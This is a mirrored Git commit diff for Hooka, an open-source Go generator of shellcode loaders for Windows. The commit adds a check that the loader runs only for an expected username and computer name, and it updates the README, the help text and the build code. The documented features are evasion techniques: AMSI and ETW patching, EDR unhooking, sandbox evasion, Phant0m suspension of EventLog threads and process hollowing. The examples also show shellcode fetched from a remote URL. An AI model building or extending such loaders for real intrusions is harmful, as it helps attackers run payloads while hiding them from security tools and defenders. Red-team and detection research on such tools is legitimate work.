mirror of
https://github.com/D3Ext/Hooka
synced 2026-06-08 10:49:57 +00:00
some bugs were fixed, new feature (checking username and computer name)
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2024 D3Ext
|
||||
Copyright (c) 2025 D3Ext
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -16,13 +16,13 @@ linux: $(LINUX) ## Build for Linux
|
||||
darwin: $(DARWIN) ## Build for Darwin (macOS)
|
||||
|
||||
$(WINDOWS):
|
||||
GOOS=windows GOARCH=amd64 go build -o build/$(WINDOWS) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go
|
||||
GOOS=windows GOARCH=amd64 go build -o build/$(WINDOWS) -ldflags="-s -w" ./cmd/main.go
|
||||
|
||||
$(LINUX):
|
||||
GOOS=linux GOARCH=amd64 go build -o build/$(LINUX) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go
|
||||
GOOS=linux GOARCH=amd64 go build -o build/$(LINUX) -ldflags="-s -w" ./cmd/main.go
|
||||
|
||||
$(DARWIN):
|
||||
GOOS=darwin GOARCH=amd64 go build -o build/$(DARWIN) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go
|
||||
GOOS=darwin GOARCH=amd64 go build -o build/$(DARWIN) -ldflags="-s -w" ./cmd/main.go
|
||||
|
||||
clean: ## Remove previous build
|
||||
rm -f build/$(WINDOWS) build/$(LINUX) build/$(DARWIN)
|
||||
|
||||
@@ -30,7 +30,7 @@
|
||||
|
||||
# Introduction
|
||||
|
||||
Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Why not?
|
||||
Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Although it's not the perfect language for malware dev, it works perfectly for testing purposes. Obviously if you want something professional and foolproof you should create your own loader in C++, C# or similars.
|
||||
|
||||
# Features
|
||||
|
||||
@@ -57,6 +57,7 @@ This tool is able to generate loaders with this features:
|
||||
- Random variables and function names
|
||||
- Shikata Ga Nai obfuscation (see [here](https://github.com/EgeBalci/sgn))
|
||||
- Multiple ways to detect sandboxing
|
||||
- Check if username and computer name match before running
|
||||
- Enable ACG Guard protection
|
||||
- Block non-Microsoft signed DLLs from injecting into created processes
|
||||
|
||||
@@ -89,12 +90,6 @@ After that you will find the binary under the `build/` folder
|
||||
|
||||
> Help panel
|
||||
```
|
||||
_ _ _ _
|
||||
| | | | ___ ___ | | __ __ _ | |
|
||||
| |_| | / _ \ / _ \ | |/ / / _` | | |
|
||||
| _ | | (_) | | (_) | | < | (_| | |_|
|
||||
|_| |_| \___/ \___/ |_|\_\ \__,_| (_)
|
||||
|
||||
Usage of Hooka:
|
||||
REQUIRED:
|
||||
-i, --input string payload to inject in raw format, as PE, as DLL or from a URL
|
||||
@@ -122,15 +117,17 @@ Usage of Hooka:
|
||||
--strings obfuscate strings using Caesar cipher
|
||||
|
||||
EVASION:
|
||||
--unhook string unhooking technique to use (available: full, peruns)
|
||||
--sandbox enable sandbox evasion
|
||||
--no-amsi don't patch AMSI
|
||||
--no-etw don't patch ETW
|
||||
--hashing use hashes to retrieve function pointers
|
||||
--acg enable ACG Guard to prevent AV/EDR from modifying existing executable code
|
||||
--blockdlls prevent non-Microsoft signed DLLs from injecting in child processes
|
||||
--phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step
|
||||
--sleep delay shellcode execution using a custom sleep function
|
||||
--unhook string unhooking technique to use (available: full, peruns)
|
||||
--sandbox enable sandbox evasion
|
||||
--no-amsi don't patch AMSI
|
||||
--no-etw don't patch ETW
|
||||
--hashing use hashes to retrieve function pointers
|
||||
--user string proceed only when the user running the loader is the expected (i.e. DESKTOP-E1D6G0A\admin)
|
||||
--computername string proceed only when the computer name is the expected (i.e. DESKTOP-E1D6G0A)
|
||||
--acg enable ACG Guard to prevent AV/EDR from modifying existing executable code
|
||||
--blockdlls prevent non-Microsoft signed DLLs from injecting in child processes
|
||||
--phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step
|
||||
--sleep delay shellcode execution using a custom sleep function
|
||||
|
||||
EXTRA:
|
||||
--calc use a calc.exe shellcode to test loader capabilities (don't provide input file)
|
||||
@@ -142,7 +139,7 @@ Usage of Hooka:
|
||||
Examples:
|
||||
hooka -i shellcode.bin -o loader.exe
|
||||
hooka -i http://192.168.1.126/shellcode.bin -o loader.exe
|
||||
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg
|
||||
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg
|
||||
hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
|
||||
```
|
||||
|
||||
@@ -161,6 +158,7 @@ $ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll
|
||||
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose
|
||||
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls
|
||||
$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose
|
||||
$ hooka_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computername "DESKTOP-E1D6G0A" --compress --strings
|
||||
```
|
||||
|
||||
# Demo
|
||||
@@ -171,10 +169,9 @@ $ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --doma
|
||||
|
||||
# TODO
|
||||
|
||||
- ~~Check username and hostname before running~~
|
||||
- Add direct and indirect syscall
|
||||
- Add Chacha20 cypher to encrypt shellcode
|
||||
- More OPSEC features
|
||||
- General improvement
|
||||
|
||||
# Library
|
||||
|
||||
@@ -216,7 +213,7 @@ Use this project under your own responsability! The author is not responsible of
|
||||
|
||||
This project is under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license
|
||||
|
||||
Copyright © 2024, *D3Ext*
|
||||
Copyright © 2025, *D3Ext*
|
||||
|
||||
|
||||
|
||||
|
||||
+91
-16
@@ -70,15 +70,17 @@ Usage of Hooka:
|
||||
--strings obfuscate strings using Caesar cipher
|
||||
|
||||
EVASION:
|
||||
--unhook string unhooking technique to use (available: full, peruns)
|
||||
--sandbox enable sandbox evasion
|
||||
--no-amsi don't patch AMSI
|
||||
--no-etw don't patch ETW
|
||||
--hashing use hashes to retrieve function pointers
|
||||
--acg enable ACG Guard to prevent AV/EDR from modifying existing executable code
|
||||
--blockdlls prevent non-Microsoft signed DLLs from injecting in child processes
|
||||
--phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step
|
||||
--sleep delay shellcode execution using a custom sleep function
|
||||
--unhook string unhooking technique to use (available: full, peruns)
|
||||
--sandbox enable sandbox evasion
|
||||
--no-amsi don't patch AMSI
|
||||
--no-etw don't patch ETW
|
||||
--hashing use hashes to retrieve function pointers
|
||||
--user string proceed only when the user running the loader is the expected (i.e. DESKTOP-E1D6G0A\admin)
|
||||
--computername string proceed only when the computer name is the expected (i.e. DESKTOP-E1D6G0A)
|
||||
--acg enable ACG Guard to prevent AV/EDR from modifying existing executable code
|
||||
--blockdlls prevent non-Microsoft signed DLLs from injecting in child processes
|
||||
--phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step
|
||||
--sleep delay shellcode execution using a custom sleep function
|
||||
|
||||
EXTRA:
|
||||
--calc use a calc.exe shellcode to test loader capabilities (don't provide input file)
|
||||
@@ -90,7 +92,7 @@ Usage of Hooka:
|
||||
Examples:
|
||||
hooka -i shellcode.bin -o loader.exe
|
||||
hooka -i http://192.168.1.126/shellcode.bin -o loader.exe
|
||||
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg
|
||||
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg
|
||||
hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
|
||||
`)
|
||||
}
|
||||
@@ -104,7 +106,7 @@ var buffer bytes.Buffer
|
||||
|
||||
func main() {
|
||||
// define variables that will hold CLI arguments values
|
||||
var input_file, output_file, format, arch, exec_technique, unhook, cert, domain, encrypt, process string
|
||||
var input_file, output_file, format, arch, exec_technique, unhook, username, computername, cert, domain, encrypt, process string
|
||||
var sgn, str_obfs, sandbox, noamsi, noetw, hashing, acg, blockdlls, phantom, sleep_time, calc, compress, rand, verbose, help bool
|
||||
|
||||
// Main arguments
|
||||
@@ -138,6 +140,8 @@ func main() {
|
||||
flag.BoolVar(&noamsi, "no-amsi", false, "")
|
||||
flag.BoolVar(&noetw, "no-etw", false, "")
|
||||
flag.BoolVar(&hashing, "hashing", false, "")
|
||||
flag.StringVar(&username, "user", "", "")
|
||||
flag.StringVar(&computername, "computername", "", "")
|
||||
flag.BoolVar(&acg, "acg", false, "")
|
||||
flag.BoolVar(&blockdlls, "blockdlls", false, "")
|
||||
flag.BoolVar(&phantom, "phantom", false, "")
|
||||
@@ -163,6 +167,14 @@ func main() {
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
var err error
|
||||
|
||||
_, err = exec.LookPath("go")
|
||||
if err != nil {
|
||||
fmt.Println("[-] \"go\" binary is not found on path and it is required to compile the loader")
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
// check if needed arguments were given
|
||||
if (input_file == "") && (!calc) {
|
||||
banner()
|
||||
@@ -295,7 +307,6 @@ func main() {
|
||||
var exports []string
|
||||
var functions []string
|
||||
var dlls_to_unhook []string
|
||||
var err error
|
||||
|
||||
// Create template which will hold loader code
|
||||
Main := &LoaderTemplate{}
|
||||
@@ -2105,6 +2116,20 @@ func {{.Vars.sleep_func}}() {
|
||||
functions = utils.AppendString(functions, ParseTemplate(sleep_func, Main))
|
||||
}
|
||||
|
||||
if (username != "") {
|
||||
imports = utils.AppendString(imports, "os/user")
|
||||
|
||||
Main.Vars["username"] = utils.RandomString(utils.RandomInt(9,10))
|
||||
Main.Vars["username_to_check"] = utils.RandomString(utils.RandomInt(9,10))
|
||||
}
|
||||
|
||||
if (computername != "") {
|
||||
imports = utils.AppendString(imports, "os")
|
||||
|
||||
Main.Vars["computername"] = utils.RandomString(utils.RandomInt(9,10))
|
||||
Main.Vars["computername_to_check"] = utils.RandomString(utils.RandomInt(9,10))
|
||||
}
|
||||
|
||||
if (verbose) {
|
||||
fmt.Println()
|
||||
}
|
||||
@@ -2806,6 +2831,32 @@ func ` + func_name + `(){
|
||||
`
|
||||
}
|
||||
|
||||
if (username != "") {
|
||||
main_func = main_func + `
|
||||
{{.Vars.username}}, {{.Vars.err}} := user.Current()
|
||||
if {{.Vars.err}} != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if ({{.Vars.username}}.Username != ` + ObfuscateStr(username, str_obfs) + `) {
|
||||
return
|
||||
}
|
||||
`
|
||||
}
|
||||
|
||||
if (computername != "") {
|
||||
main_func = main_func + `
|
||||
{{.Vars.computername}}, {{.Vars.err}} := os.Hostname()
|
||||
if {{.Vars.err}} != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if ({{.Vars.computername}} != ` + ObfuscateStr(computername, str_obfs) + `) {
|
||||
return
|
||||
}
|
||||
`
|
||||
}
|
||||
|
||||
// add sandboxing functions
|
||||
if (sandbox) {
|
||||
main_func = main_func + `
|
||||
@@ -2986,6 +3037,7 @@ var {{.Vars.shellcode}} []byte
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
defer os.Remove("loader.go")
|
||||
|
||||
fmt.Println("[*] Compiling shellcode loader...")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
@@ -3094,8 +3146,6 @@ var {{.Vars.shellcode}} []byte
|
||||
|
||||
fmt.Println("\n[+] Shellcode loader has been successfully generated")
|
||||
|
||||
os.Remove("loader.go")
|
||||
|
||||
if (format == "dll") {
|
||||
os.Remove(strings.Split(output_file, ".")[0] + ".h") // remove header file (e.g. loader.h)
|
||||
}
|
||||
@@ -3179,28 +3229,53 @@ import (
|
||||
|
||||
// function to compile loader code based on provided arguments
|
||||
func CompileLoader(format string, output_file string, compress bool, arch string) error {
|
||||
// check if go.mod file exists
|
||||
_, err := os.Stat("go.mod")
|
||||
if os.IsNotExist(err) {
|
||||
|
||||
// if it doesn't exist, then create it
|
||||
mod_cmd := exec.Command("go", "mod", "init", "hooka_ldr")
|
||||
err = mod_cmd.Run()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove("go.mod")
|
||||
|
||||
// if go.mod didn't exist we also need to download the windows library
|
||||
get_cmd := exec.Command("go", "get", "golang.org/x/sys/windows")
|
||||
err = get_cmd.Run()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove("go.sum")
|
||||
}
|
||||
|
||||
// define command to compile source code
|
||||
var compile_cmd *exec.Cmd
|
||||
|
||||
// compile as .EXE
|
||||
if (format == "exe") {
|
||||
if (compress) {
|
||||
fmt.Println(" > go", "build", "-ldflags", "-w -s", "-o", output_file, "loader.go")
|
||||
compile_cmd = exec.Command("go", "build", "-ldflags", "-w -s", "-o", output_file, "loader.go")
|
||||
} else {
|
||||
fmt.Println(" > go", "build", "-o", output_file, "loader.go")
|
||||
compile_cmd = exec.Command("go", "build", "-o", output_file, "loader.go")
|
||||
}
|
||||
} else if (format == "dll") { // compile as .DLL
|
||||
if (compress) {
|
||||
fmt.Println(" > go", "build", "-ldflags", "-w -s", "-buildmode=c-shared", "-o", output_file, "loader.go")
|
||||
compile_cmd = exec.Command("go", "build", "-ldflags", "-w -s", "-buildmode=c-shared", "-o", output_file, "loader.go")
|
||||
} else {
|
||||
fmt.Println(" > go", "build", "-buildmode=c-shared", "-o", output_file, "loader.go")
|
||||
compile_cmd = exec.Command("go", "build", "-buildmode=c-shared", "-o", output_file, "loader.go")
|
||||
}
|
||||
}
|
||||
|
||||
compile_cmd.Env = append(os.Environ(), "GOARCH=" + arch, "GOOS=windows", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc")
|
||||
err := compile_cmd.Run()
|
||||
err = compile_cmd.Run()
|
||||
if err != nil {
|
||||
fmt.Println("[-] Error while compiling loader!")
|
||||
fmt.Println("\n[-] Error while compiling loader:")
|
||||
return err
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user